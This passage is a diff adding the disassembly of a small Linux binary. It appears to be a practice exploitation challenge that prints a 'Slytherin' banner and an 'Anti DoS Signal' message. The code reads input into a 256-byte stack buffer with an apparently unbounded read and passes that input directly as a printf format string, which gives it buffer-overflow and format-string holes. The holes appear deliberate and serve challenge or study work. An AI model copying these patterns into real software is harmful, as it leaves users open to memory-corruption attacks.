+ 634: 00 00 add BYTE PTR [rax],al
+ 636: 00 00 add BYTE PTR [rax],al
+ 638: 06 (bad)
+ 639: 00 00 add BYTE PTR [rax],al
+ 63b: 00 0e add BYTE PTR [rsi],cl
+ ... (skipping 8 zeroes, resuming at file offset: 0x645)
+ 645: 00 00 add BYTE PTR [rax],al
+ 647: 00 20 add BYTE PTR [rax],ah
+ 649: 20 20 and BYTE PTR [rax],ah
+ 64b: 00 00 add BYTE PTR [rax],al
+ 64d: 00 00 add BYTE PTR [rax],al
+ 64f: 00 05 00 00 00 0f add BYTE PTR [rip+0xf000000],al # f000655 <_end+0xedfe605> (File Offset: 0xf000655)
+ ... (skipping 8 zeroes, resuming at file offset: 0x65d)
+ 65d: 00 00 add BYTE PTR [rax],al
+ 65f: 00 30 add BYTE PTR [rax],dh
+ 661: 20 20 and BYTE PTR [rax],ah
+ 663: 00 00 add BYTE PTR [rax],al
+ 665: 00 00 add BYTE PTR [rax],al
+ 667: 00 05 00 00 00 10 add BYTE PTR [rip+0x10000000],al # 1000066d <_end+0xfdfe61d> (File Offset: 0x1000066d)
+ ... (skipping 8 zeroes, resuming at file offset: 0x675)
+ 675: 00 00 add BYTE PTR [rax],al
+ 677: 00 40 20 add BYTE PTR [rax+0x20],al
+ 67a: 20 00 and BYTE PTR [rax],al
+ 67c: 00 00 add BYTE PTR [rax],al
+ 67e: 00 00 add BYTE PTR [rax],al
+ 680: 05 00 00 00 11 add eax,0x11000000
+ ...
+
+Disassembly of section .rela.plt:
+
+0000000000000690 <.rela.plt> (File Offset: 0x690):
+ 690: 90 nop
+ 691: 1f (bad)
+ 692: 20 00 and BYTE PTR [rax],al
+ 694: 00 00 add BYTE PTR [rax],al
+ 696: 00 00 add BYTE PTR [rax],al
+ 698: 07 (bad)
+ 699: 00 00 add BYTE PTR [rax],al
+ 69b: 00 02 add BYTE PTR [rdx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x6a5)
+ 6a5: 00 00 add BYTE PTR [rax],al
+ 6a7: 00 98 1f 20 00 00 add BYTE PTR [rax+0x201f],bl
+ 6ad: 00 00 add BYTE PTR [rax],al
+ 6af: 00 07 add BYTE PTR [rdi],al
+ 6b1: 00 00 add BYTE PTR [rax],al
+ 6b3: 00 03 add BYTE PTR [rbx],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x6bd)
+ 6bd: 00 00 add BYTE PTR [rax],al
+ 6bf: 00 a0 1f 20 00 00 add BYTE PTR [rax+0x201f],ah
+ 6c5: 00 00 add BYTE PTR [rax],al
+ 6c7: 00 07 add BYTE PTR [rdi],al
+ 6c9: 00 00 add BYTE PTR [rax],al
+ 6cb: 00 04 00 add BYTE PTR [rax+rax*1],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x6d6)
+ 6d6: 00 00 add BYTE PTR [rax],al
+ 6d8: a8 1f test al,0x1f
+ 6da: 20 00 and BYTE PTR [rax],al
+ 6dc: 00 00 add BYTE PTR [rax],al
+ 6de: 00 00 add BYTE PTR [rax],al
+ 6e0: 07 (bad)
+ 6e1: 00 00 add BYTE PTR [rax],al
+ 6e3: 00 05 00 00 00 00 add BYTE PTR [rip+0x0],al # 6e9 <_init-0x7f> (File Offset: 0x6e9)
+ 6e9: 00 00 add BYTE PTR [rax],al
+ 6eb: 00 00 add BYTE PTR [rax],al
+ 6ed: 00 00 add BYTE PTR [rax],al
+ 6ef: 00 b0 1f 20 00 00 add BYTE PTR [rax+0x201f],dh
+ 6f5: 00 00 add BYTE PTR [rax],al
+ 6f7: 00 07 add BYTE PTR [rdi],al
+ 6f9: 00 00 add BYTE PTR [rax],al
+ 6fb: 00 06 add BYTE PTR [rsi],al
+ ... (skipping 8 zeroes, resuming at file offset: 0x705)
+ 705: 00 00 add BYTE PTR [rax],al
+ 707: 00 b8 1f 20 00 00 add BYTE PTR [rax+0x201f],bh
+ 70d: 00 00 add BYTE PTR [rax],al
+ 70f: 00 07 add BYTE PTR [rdi],al
+ 711: 00 00 add BYTE PTR [rax],al
+ 713: 00 08 add BYTE PTR [rax],cl
+ ... (skipping 8 zeroes, resuming at file offset: 0x71d)
+ 71d: 00 00 add BYTE PTR [rax],al
+ 71f: 00 c0 add al,al
+ 721: 1f (bad)
+ 722: 20 00 and BYTE PTR [rax],al
+ 724: 00 00 add BYTE PTR [rax],al
+ 726: 00 00 add BYTE PTR [rax],al
+ 728: 07 (bad)
+ 729: 00 00 add BYTE PTR [rax],al
+ 72b: 00 09 add BYTE PTR [rcx],cl
+ ... (skipping 8 zeroes, resuming at file offset: 0x735)
+ 735: 00 00 add BYTE PTR [rax],al
+ 737: 00 c8 add al,cl
+ 739: 1f (bad)
+ 73a: 20 00 and BYTE PTR [rax],al
+ 73c: 00 00 add BYTE PTR [rax],al
+ 73e: 00 00 add BYTE PTR [rax],al
+ 740: 07 (bad)
+ 741: 00 00 add BYTE PTR [rax],al
+ 743: 00 0b add BYTE PTR [rbx],cl
+ ... (skipping 8 zeroes, resuming at file offset: 0x74d)
+ 74d: 00 00 add BYTE PTR [rax],al
+ 74f: 00 d0 add al,dl
+ 751: 1f (bad)
+ 752: 20 00 and BYTE PTR [rax],al
+ 754: 00 00 add BYTE PTR [rax],al
+ 756: 00 00 add BYTE PTR [rax],al
+ 758: 07 (bad)
+ 759: 00 00 add BYTE PTR [rax],al
+ 75b: 00 0c 00 add BYTE PTR [rax+rax*1],cl
+ ...
+
+Disassembly of section .init:
+
+0000000000000768 <_init> (File Offset: 0x768):
+ 768: 48 83 ec 08 sub rsp,0x8
+ 76c: 48 8b 05 75 18 20 00 mov rax,QWORD PTR [rip+0x201875] # 201fe8 <__gmon_start__> (File Offset: 0x201fe8)
+ 773: 48 85 c0 test rax,rax
+ 776: 74 02 je 77a <_init+0x12> (File Offset: 0x77a)
+ 778: ff d0 call rax
+ 77a: 48 83 c4 08 add rsp,0x8
+ 77e: c3 ret
+
+Disassembly of section .plt:
+
+0000000000000780 <.plt> (File Offset: 0x780):
+ 780: ff 35 fa 17 20 00 push QWORD PTR [rip+0x2017fa] # 201f80 <_GLOBAL_OFFSET_TABLE_+0x8> (File Offset: 0x201f80)
+ 786: ff 25 fc 17 20 00 jmp QWORD PTR [rip+0x2017fc] # 201f88 <_GLOBAL_OFFSET_TABLE_+0x10> (File Offset: 0x201f88)
+ 78c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+
+0000000000000790 <_exit@plt> (File Offset: 0x790):
+ 790: ff 25 fa 17 20 00 jmp QWORD PTR [rip+0x2017fa] # 201f90 <_exit@GLIBC_2.2.5> (File Offset: 0x201f90)
+ 796: 68 00 00 00 00 push 0x0
+ 79b: e9 e0 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007a0 (File Offset: 0x7a0):
+ 7a0: ff 25 f2 17 20 00 jmp QWORD PTR [rip+0x2017f2] # 201f98 (File Offset: 0x201f98)
+ 7a6: 68 01 00 00 00 push 0x1
+ 7ab: e9 d0 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007b0 (File Offset: 0x7b0):
+ 7b0: ff 25 ea 17 20 00 jmp QWORD PTR [rip+0x2017ea] # 201fa0 (File Offset: 0x201fa0)
+ 7b6: 68 02 00 00 00 push 0x2
+ 7bb: e9 c0 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007c0 (File Offset: 0x7c0):
+ 7c0: ff 25 e2 17 20 00 jmp QWORD PTR [rip+0x2017e2] # 201fa8 (File Offset: 0x201fa8)
+ 7c6: 68 03 00 00 00 push 0x3
+ 7cb: e9 b0 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007d0 (File Offset: 0x7d0):
+ 7d0: ff 25 da 17 20 00 jmp QWORD PTR [rip+0x2017da] # 201fb0 (File Offset: 0x201fb0)
+ 7d6: 68 04 00 00 00 push 0x4
+ 7db: e9 a0 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007e0 (File Offset: 0x7e0):
+ 7e0: ff 25 d2 17 20 00 jmp QWORD PTR [rip+0x2017d2] # 201fb8 (File Offset: 0x201fb8)
+ 7e6: 68 05 00 00 00 push 0x5
+ 7eb: e9 90 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+00000000000007f0 (File Offset: 0x7f0):
+ 7f0: ff 25 ca 17 20 00 jmp QWORD PTR [rip+0x2017ca] # 201fc0 (File Offset: 0x201fc0)
+ 7f6: 68 06 00 00 00 push 0x6
+ 7fb: e9 80 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+0000000000000800 (File Offset: 0x800):
+ 800: ff 25 c2 17 20 00 jmp QWORD PTR [rip+0x2017c2] # 201fc8 (File Offset: 0x201fc8)
+ 806: 68 07 00 00 00 push 0x7
+ 80b: e9 70 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+0000000000000810 (File Offset: 0x810):
+ 810: ff 25 ba 17 20 00 jmp QWORD PTR [rip+0x2017ba] # 201fd0 (File Offset: 0x201fd0)
+ 816: 68 08 00 00 00 push 0x8
+ 81b: e9 60 ff ff ff jmp 780 <.plt> (File Offset: 0x780)
+
+Disassembly of section .plt.got:
+
+0000000000000820 <__cxa_finalize@plt> (File Offset: 0x820):
+ 820: ff 25 d2 17 20 00 jmp QWORD PTR [rip+0x2017d2] # 201ff8 <__cxa_finalize@GLIBC_2.2.5> (File Offset: 0x201ff8)
+ 826: 66 90 xchg ax,ax
+
+Disassembly of section .text:
+
+0000000000000830 <_start> (File Offset: 0x830):
+ 830: 31 ed xor ebp,ebp
+ 832: 49 89 d1 mov r9,rdx
+ 835: 5e pop rsi
+ 836: 48 89 e2 mov rdx,rsp
+ 839: 48 83 e4 f0 and rsp,0xfffffffffffffff0
+ 83d: 50 push rax
+ 83e: 54 push rsp
+ 83f: 4c 8d 05 5a 03 00 00 lea r8,[rip+0x35a] # ba0 <__libc_csu_fini> (File Offset: 0xba0)
+ 846: 48 8d 0d e3 02 00 00 lea rcx,[rip+0x2e3] # b30 <__libc_csu_init> (File Offset: 0xb30)
+ 84d: 48 8d 3d a0 02 00 00 lea rdi,[rip+0x2a0] # af4 (File Offset: 0xaf4)
+ 854: ff 15 86 17 20 00 call QWORD PTR [rip+0x201786] # 201fe0 <__libc_start_main@GLIBC_2.2.5> (File Offset: 0x201fe0)
+ 85a: f4 hlt
+ 85b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
+
+0000000000000860 (File Offset: 0x860):
+ 860: 48 8d 3d a9 17 20 00 lea rdi,[rip+0x2017a9] # 202010 <__TMC_END__> (File Offset: 0x202010)
+ 867: 55 push rbp
+ 868: 48 8d 05 a1 17 20 00 lea rax,[rip+0x2017a1] # 202010 <__TMC_END__> (File Offset: 0x202010)
+ 86f: 48 39 f8 cmp rax,rdi
+ 872: 48 89 e5 mov rbp,rsp
+ 875: 74 19 je 890 (File Offset: 0x890)
+ 877: 48 8b 05 5a 17 20 00 mov rax,QWORD PTR [rip+0x20175a] # 201fd8 <_ITM_deregisterTMCloneTable> (File Offset: 0x201fd8)
+ 87e: 48 85 c0 test rax,rax
+ 881: 74 0d je 890 (File Offset: 0x890)
+ 883: 5d pop rbp
+ 884: ff e0 jmp rax
+ 886: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ 88d: 00 00 00
+ 890: 5d pop rbp
+ 891: c3 ret
+ 892: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+ 896: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ 89d: 00 00 00
+
+00000000000008a0 (File Offset: 0x8a0):
+ 8a0: 48 8d 3d 69 17 20 00 lea rdi,[rip+0x201769] # 202010 <__TMC_END__> (File Offset: 0x202010)
+ 8a7: 48 8d 35 62 17 20 00 lea rsi,[rip+0x201762] # 202010 <__TMC_END__> (File Offset: 0x202010)
+ 8ae: 55 push rbp
+ 8af: 48 29 fe sub rsi,rdi
+ 8b2: 48 89 e5 mov rbp,rsp
+ 8b5: 48 c1 fe 03 sar rsi,0x3
+ 8b9: 48 89 f0 mov rax,rsi
+ 8bc: 48 c1 e8 3f shr rax,0x3f
+ 8c0: 48 01 c6 add rsi,rax
+ 8c3: 48 d1 fe sar rsi,1
+ 8c6: 74 18 je 8e0 (File Offset: 0x8e0)
+ 8c8: 48 8b 05 21 17 20 00 mov rax,QWORD PTR [rip+0x201721] # 201ff0 <_ITM_registerTMCloneTable> (File Offset: 0x201ff0)
+ 8cf: 48 85 c0 test rax,rax
+ 8d2: 74 0c je 8e0 (File Offset: 0x8e0)
+ 8d4: 5d pop rbp
+ 8d5: ff e0 jmp rax
+ 8d7: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
+ 8de: 00 00
+ 8e0: 5d pop rbp
+ 8e1: c3 ret
+ 8e2: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
+ 8e6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ 8ed: 00 00 00
+
+00000000000008f0 <__do_global_dtors_aux> (File Offset: 0x8f0):
+ 8f0: 80 3d 51 17 20 00 00 cmp BYTE PTR [rip+0x201751],0x0 # 202048 (File Offset: 0x202048)
+ 8f7: 75 2f jne 928 <__do_global_dtors_aux+0x38> (File Offset: 0x928)
+ 8f9: 48 83 3d f7 16 20 00 cmp QWORD PTR [rip+0x2016f7],0x0 # 201ff8 <__cxa_finalize@GLIBC_2.2.5> (File Offset: 0x201ff8)
+ 900: 00
+ 901: 55 push rbp
+ 902: 48 89 e5 mov rbp,rsp
+ 905: 74 0c je 913 <__do_global_dtors_aux+0x23> (File Offset: 0x913)
+ 907: 48 8b 3d fa 16 20 00 mov rdi,QWORD PTR [rip+0x2016fa] # 202008 <__dso_handle> (File Offset: 0x202008)
+ 90e: e8 0d ff ff ff call 820 <__cxa_finalize@plt> (File Offset: 0x820)
+ 913: e8 48 ff ff ff call 860 (File Offset: 0x860)
+ 918: c6 05 29 17 20 00 01 mov BYTE PTR [rip+0x201729],0x1 # 202048 (File Offset: 0x202048)
+ 91f: 5d pop rbp
+ 920: c3 ret
+ 921: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
+ 928: f3 c3 repz ret
+ 92a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
+
+0000000000000930 (File Offset: 0x930):
+ 930: 55 push rbp
+ 931: 48 89 e5 mov rbp,rsp
+ 934: 5d pop rbp
+ 935: e9 66 ff ff ff jmp 8a0 (File Offset: 0x8a0)
+
+000000000000093a (File Offset: 0x93a):
+ 93a: 55 push rbp
+ 93b: 48 89 e5 mov rbp,rsp
+ 93e: 48 8b 05 db 16 20 00 mov rax,QWORD PTR [rip+0x2016db] # 202020 (File Offset: 0x202020)
+ 945: b9 00 00 00 00 mov ecx,0x0
+ 94a: ba 02 00 00 00 mov edx,0x2
+ 94f: be 00 00 00 00 mov esi,0x0
+ 954: 48 89 c7 mov rdi,rax
+ 957: e8 b4 fe ff ff call 810 (File Offset: 0x810)
+ 95c: 48 8b 05 cd 16 20 00 mov rax,QWORD PTR [rip+0x2016cd] # 202030 (File Offset: 0x202030)
+ 963: b9 00 00 00 00 mov ecx,0x0
+ 968: ba 02 00 00 00 mov edx,0x2
+ 96d: be 00 00 00 00 mov esi,0x0
+ 972: 48 89 c7 mov rdi,rax
+ 975: e8 96 fe ff ff call 810 (File Offset: 0x810)
+ 97a: 48 8b 05 bf 16 20 00 mov rax,QWORD PTR [rip+0x2016bf] # 202040 (File Offset: 0x202040)
+ 981: b9 00 00 00 00 mov ecx,0x0
+ 986: ba 02 00 00 00 mov edx,0x2
+ 98b: be 00 00 00 00 mov esi,0x0
+ 990: 48 89 c7 mov rdi,rax
+ 993: e8 78 fe ff ff call 810 (File Offset: 0x810)
+ 998: 90 nop
+ 999: 5d pop rbp
+ 99a: c3 ret
+
+000000000000099b (File Offset: 0x99b):
+ 99b: 55 push rbp
+ 99c: 48 89 e5 mov rbp,rsp
+ 99f: 48 83 ec 10 sub rsp,0x10
+ 9a3: 89 7d fc mov DWORD PTR [rbp-0x4],edi
+ 9a6: 83 7d fc 0e cmp DWORD PTR [rbp-0x4],0xe
+ 9aa: 75 1b jne 9c7 (File Offset: 0x9c7)
+ 9ac: 48 8d 3d 05 02 00 00 lea rdi,[rip+0x205] # bb8 <_IO_stdin_used+0x8> (File Offset: 0xbb8)
+ 9b3: b8 00 00 00 00 mov eax,0x0
+ 9b8: e8 03 fe ff ff call 7c0 (File Offset: 0x7c0)
+ 9bd: bf 00 00 00 00 mov edi,0x0
+ 9c2: e8 c9 fd ff ff call 790 <_exit@plt> (File Offset: 0x790)
+ 9c7: 90 nop
+ 9c8: c9 leave
+ 9c9: c3 ret
+
+00000000000009ca (File Offset: 0x9ca):
+ 9ca: 55 push rbp
+ 9cb: 48 89 e5 mov rbp,rsp
+ 9ce: 48 8d 35 c6 ff ff ff lea rsi,[rip+0xffffffffffffffc6] # 99b (File Offset: 0x99b)
+ 9d5: bf 0e 00 00 00 mov edi,0xe
+ 9da: e8 11 fe ff ff call 7f0 (File Offset: 0x7f0)
+ 9df: bf 3c 00 00 00 mov edi,0x3c
+ 9e4: e8 e7 fd ff ff call 7d0 (File Offset: 0x7d0)
+ 9e9: 90 nop
+ 9ea: 5d pop rbp
+ 9eb: c3 ret
+
+00000000000009ec (File Offset: 0x9ec):
+ 9ec: 55 push rbp
+ 9ed: 48 89 e5 mov rbp,rsp
+ 9f0: 48 8d 3d f1 01 00 00 lea rdi,[rip+0x1f1] # be8 <_IO_stdin_used+0x38> (File Offset: 0xbe8)
+ 9f7: e8 a4 fd ff ff call 7a0 (File Offset: 0x7a0)
+ 9fc: 48 8d 3d 31 02 00 00 lea rdi,[rip+0x231] # c34 <_IO_stdin_used+0x84> (File Offset: 0xc34)
+ a03: e8 98 fd ff ff call 7a0 (File Offset: 0x7a0)
+ a08: 48 8d 3d 49 02 00 00 lea rdi,[rip+0x249] # c58 <_IO_stdin_used+0xa8> (File Offset: 0xc58)
+ a0f: e8 8c fd ff ff call 7a0 (File Offset: 0x7a0)
+ a14: 48 8d 3d 89 02 00 00 lea rdi,[rip+0x289] # ca4 <_IO_stdin_used+0xf4> (File Offset: 0xca4)
+ a1b: e8 90 fd ff ff call 7b0 (File Offset: 0x7b0)
+ a20: 90 nop
+ a21: 5d pop rbp
+ a22: c3 ret
+
+0000000000000a23 (File Offset: 0xa23):
+ a23: 55 push rbp
+ a24: 48 89 e5 mov rbp,rsp
+ a27: 48 81 ec 00 01 00 00 sub rsp,0x100
+ a2e: 48 8d 3d 77 02 00 00 lea rdi,[rip+0x277] # cac <_IO_stdin_used+0xfc> (File Offset: 0xcac)
+ a35: e8 66 fd ff ff call 7a0 (File Offset: 0x7a0)
+ a3a: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
+ a41: 48 89 c7 mov rdi,rax
+ a44: b8 00 00 00 00 mov eax,0x0
+ a49: e8 b2 fd ff ff call 800 (File Offset: 0x800)
+ a4e: 48 8d 3d 93 01 00 00 lea rdi,[rip+0x193] # be8 <_IO_stdin_used+0x38> (File Offset: 0xbe8)
+ a55: e8 46 fd ff ff call 7a0 (File Offset: 0x7a0)
+ a5a: 48 8d 3d 62 02 00 00 lea rdi,[rip+0x262] # cc3 <_IO_stdin_used+0x113> (File Offset: 0xcc3)
+ a61: e8 3a fd ff ff call 7a0 (File Offset: 0x7a0)
+ a66: 48 8d 3d eb 01 00 00 lea rdi,[rip+0x1eb] # c58 <_IO_stdin_used+0xa8> (File Offset: 0xc58)
+ a6d: e8 2e fd ff ff call 7a0 (File Offset: 0x7a0)
+ a72: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
+ a79: 48 89 c7 mov rdi,rax
+ a7c: b8 00 00 00 00 mov eax,0x0
+ a81: e8 3a fd ff ff call 7c0 (File Offset: 0x7c0)
+ a86: 90 nop
+ a87: c9 leave
+ a88: c3 ret
+
+0000000000000a89 (File Offset: 0xa89):
+ a89: 55 push rbp
+ a8a: 48 89 e5 mov rbp,rsp
+ a8d: 48 81 ec 00 01 00 00 sub rsp,0x100
+ a94: 48 8d 3d 46 02 00 00 lea rdi,[rip+0x246] # ce1 <_IO_stdin_used+0x131> (File Offset: 0xce1)
+ a9b: e8 00 fd ff ff call 7a0 (File Offset: 0x7a0)
+ aa0: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
+ aa7: 48 89 c7 mov rdi,rax
+ aaa: b8 00 00 00 00 mov eax,0x0
+ aaf: e8 4c fd ff ff call 800 (File Offset: 0x800)
+ ab4: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
+ abb: 48 8d 35 38 02 00 00 lea rsi,[rip+0x238] # cfa <_IO_stdin_used+0x14a> (File Offset: 0xcfa)
+ ac2: 48 89 c7 mov rdi,rax
+ ac5: e8 16 fd ff ff call 7e0 (File Offset: 0x7e0)
+ aca: 85 c0 test eax,eax
+ acc: 75 0e jne adc (File Offset: 0xadc)
+ ace: 48 8d 3d 32 02 00 00 lea rdi,[rip+0x232] # d07 <_IO_stdin_used+0x157> (File Offset: 0xd07)
+ ad5: e8 c6 fc ff ff call 7a0 (File Offset: 0x7a0)
+ ada: eb 16 jmp af2 (File Offset: 0xaf2)
+ adc: 48 8d 3d 2f 02 00 00 lea rdi,[rip+0x22f] # d12 <_IO_stdin_used+0x162> (File Offset: 0xd12)
+ ae3: e8 b8 fc ff ff call 7a0 (File Offset: 0x7a0)
+ ae8: bf 00 00 00 00 mov edi,0x0
+ aed: e8 9e fc ff ff call 790 <_exit@plt> (File Offset: 0x790)
+ af2: c9 leave
+ af3: c3 ret
+
+0000000000000af4 (File Offset: 0xaf4):
+ af4: 55 push rbp
+ af5: 48 89 e5 mov rbp,rsp
+ af8: 48 83 ec 10 sub rsp,0x10
+ afc: 89 7d fc mov DWORD PTR [rbp-0x4],edi
+ aff: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
+ b03: b8 00 00 00 00 mov eax,0x0
+ b08: e8 2d fe ff ff call 93a (File Offset: 0x93a)
+ b0d: b8 00 00 00 00 mov eax,0x0
+ b12: e8 b3 fe ff ff call 9ca (File Offset: 0x9ca)
+ b17: b8 00 00 00 00 mov eax,0x0
+ b1c: e8 02 ff ff ff call a23 (File Offset: 0xa23)
+ b21: b8 00 00 00 00 mov eax,0x0
+ b26: e8 5e ff ff ff call a89 (File Offset: 0xa89)
+ b2b: 90 nop
+ b2c: c9 leave
+ b2d: c3 ret
+ b2e: 66 90 xchg ax,ax
+
+0000000000000b30 <__libc_csu_init> (File Offset: 0xb30):
+ b30: 41 57 push r15
+ b32: 41 56 push r14
+ b34: 49 89 d7 mov r15,rdx
+ b37: 41 55 push r13
+ b39: 41 54 push r12
+ b3b: 4c 8d 25 36 12 20 00 lea r12,[rip+0x201236] # 201d78 <__frame_dummy_init_array_entry> (File Offset: 0x201d78)
+ b42: 55 push rbp
+ b43: 48 8d 2d 36 12 20 00 lea rbp,[rip+0x201236] # 201d80 <__do_global_dtors_aux_fini_array_entry> (File Offset: 0x201d80)
+ b4a: 53 push rbx
+ b4b: 41 89 fd mov r13d,edi
+ b4e: 49 89 f6 mov r14,rsi
+ b51: 4c 29 e5 sub rbp,r12
+ b54: 48 83 ec 08 sub rsp,0x8
+ b58: 48 c1 fd 03 sar rbp,0x3
+ b5c: e8 07 fc ff ff call 768 <_init> (File Offset: 0x768)
+ b61: 48 85 ed test rbp,rbp
+ b64: 74 20 je b86 <__libc_csu_init+0x56> (File Offset: 0xb86)
+ b66: 31 db xor ebx,ebx
+ b68: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
+ b6f: 00
+ b70: 4c 89 fa mov rdx,r15
+ b73: 4c 89 f6 mov rsi,r14
+ b76: 44 89 ef mov edi,r13d
+ b79: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
+ b7d: 48 83 c3 01 add rbx,0x1
+ b81: 48 39 dd cmp rbp,rbx
+ b84: 75 ea jne b70 <__libc_csu_init+0x40> (File Offset: 0xb70)
+ b86: 48 83 c4 08 add rsp,0x8
+ b8a: 5b pop rbx
+ b8b: 5d pop rbp
+ b8c: 41 5c pop r12
+ b8e: 41 5d pop r13
+ b90: 41 5e pop r14
+ b92: 41 5f pop r15
+ b94: c3 ret
+ b95: 90 nop
+ b96: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
+ b9d: 00 00 00
+
+0000000000000ba0 <__libc_csu_fini> (File Offset: 0xba0):
+ ba0: f3 c3 repz ret
+
+Disassembly of section .fini:
+
+0000000000000ba4 <_fini> (File Offset: 0xba4):
+ ba4: 48 83 ec 08 sub rsp,0x8
+ ba8: 48 83 c4 08 add rsp,0x8
+ bac: c3 ret
+
+Disassembly of section .rodata:
+
+0000000000000bb0 <_IO_stdin_used> (File Offset: 0xbb0):
+ bb0: 01 00 add DWORD PTR [rax],eax
+ bb2: 02 00 add al,BYTE PTR [rax]
+ bb4: 00 00 add BYTE PTR [rax],al
+ bb6: 00 00 add BYTE PTR [rax],al
+ bb8: 5b pop rbx
+ bb9: 21 5d 20 and DWORD PTR [rbp+0x20],ebx
+ bbc: 41 6e rex.B outs dx,BYTE PTR ds:[rsi]
+ bbe: 74 69 je c29 <_IO_stdin_used+0x79> (File Offset: 0xc29)
+ bc0: 20 44 6f 53 and BYTE PTR [rdi+rbp*2+0x53],al
+ bc4: 20 53 69 and BYTE PTR [rbx+0x69],dl
+ bc7: 67 6e outs dx,BYTE PTR ds:[esi]
+ bc9: 61 (bad)
+ bca: 6c ins BYTE PTR es:[rdi],dx
+ bcb: 2e 20 50 61 cs and BYTE PTR [rax+0x61],dl
+ bcf: 74 63 je c34 <_IO_stdin_used+0x84> (File Offset: 0xc34)
+ bd1: 68 20 6d 65 20 push 0x20656d20
+ bd6: 6f outs dx,DWORD PTR ds:[rsi]
+ bd7: 75 74 jne c4d <_IO_stdin_used+0x9d> (File Offset: 0xc4d)
+ bd9: 20 66 6f and BYTE PTR [rsi+0x6f],ah
+ bdc: 72 20 jb bfe <_IO_stdin_used+0x4e> (File Offset: 0xbfe)
+ bde: 74 65 je c45 <_IO_stdin_used+0x95> (File Offset: 0xc45)
+ be0: 73 74 jae c56 <_IO_stdin_used+0xa6> (File Offset: 0xc56)
+ be2: 69 6e 67 2e 00 00 e2 imul ebp,DWORD PTR [rsi+0x67],0xe200002e
+ be9: 94 xchg esp,eax
+ bea: 8c e2 mov edx,fs
+ bec: 94 xchg esp,eax
+ bed: 80 e2 94 and dl,0x94
+ bf0: 80 e2 94 and dl,0x94
+ bf3: 80 e2 94 and dl,0x94
+ bf6: 80 e2 94 and dl,0x94
+ bf9: 80 e2 94 and dl,0x94
+ bfc: 80 e2 94 and dl,0x94
+ bff: 80 e2 94 and dl,0x94
+ c02: 80 e2 94 and dl,0x94
+ c05: 80 e2 94 and dl,0x94
+ c08: 80 e2 94 and dl,0x94
+ c0b: 80 e2 94 and dl,0x94
+ c0e: 80 e2 94 and dl,0x94
+ c11: 80 e2 94 and dl,0x94
+ c14: 80 e2 94 and dl,0x94
+ c17: 80 e2 94 and dl,0x94
+ c1a: 80 e2 94 and dl,0x94
+ c1d: 80 e2 94 and dl,0x94
+ c20: 80 e2 94 and dl,0x94
+ c23: 80 e2 94 and dl,0x94
+ c26: 80 e2 94 and dl,0x94
+ c29: 80 e2 94 and dl,0x94
+ c2c: 80 e2 94 and dl,0x94
+ c2f: 80 e2 94 and dl,0x94
+ c32: 90 nop
+ c33: 00 e2 add dl,ah
+ c35: 94 xchg esp,eax
+ c36: 82 (bad)
+ c37: 20 59 6f and BYTE PTR [rcx+0x6f],bl
+ c3a: 75 20 jne c5c <_IO_stdin_used+0xac> (File Offset: 0xc5c)
+ c3c: 61 (bad)
+ c3d: 72 65 jb ca4 <_IO_stdin_used+0xf4> (File Offset: 0xca4)
+ c3f: 20 61 20 and BYTE PTR [rcx+0x20],ah
+ c42: 53 push rbx
+ c43: 6c ins BYTE PTR es:[rdi],dx
+ c44: 79 74 jns cba <_IO_stdin_used+0x10a> (File Offset: 0xcba)
+ c46: 68 65 72 69 6e push 0x6e697265
+ c4b: 2e 2e 20 e2 cs cs and dl,ah
+ c4f: 94 xchg esp,eax
+ c50: 82 (bad)
+ c51: 00 00 add BYTE PTR [rax],al
+ c53: 00 00 add BYTE PTR [rax],al
+ c55: 00 00 add BYTE PTR [rax],al
+ c57: 00 e2 add dl,ah
+ c59: 94 xchg esp,eax
+ c5a: 94 xchg esp,eax
+ c5b: e2 94 loop bf1 <_IO_stdin_used+0x41> (File Offset: 0xbf1)
+ c5d: 80 e2 94 and dl,0x94
+ c60: 80 e2 94 and dl,0x94
+ c63: 80 e2 94 and dl,0x94
+ c66: 80 e2 94 and dl,0x94
+ c69: 80 e2 94 and dl,0x94
+ c6c: 80 e2 94 and dl,0x94
+ c6f: 80 e2 94 and dl,0x94
+ c72: 80 e2 94 and dl,0x94
+ c75: 80 e2 94 and dl,0x94
+ c78: 80 e2 94 and dl,0x94
+ c7b: 80 e2 94 and dl,0x94
+ c7e: 80 e2 94 and dl,0x94
+ c81: 80 e2 94 and dl,0x94
+ c84: 80 e2 94 and dl,0x94
+ c87: 80 e2 94 and dl,0x94
+ c8a: 80 e2 94 and dl,0x94
+ c8d: 80 e2 94 and dl,0x94
+ c90: 80 e2 94 and dl,0x94
+ c93: 80 e2 94 and dl,0x94
+ c96: 80 e2 94 and dl,0x94
+ c99: 80 e2 94 and dl,0x94
+ c9c: 80 e2 94 and dl,0x94
+ c9f: 80 e2 94 and dl,0x94
+ ca2: 98 cwde
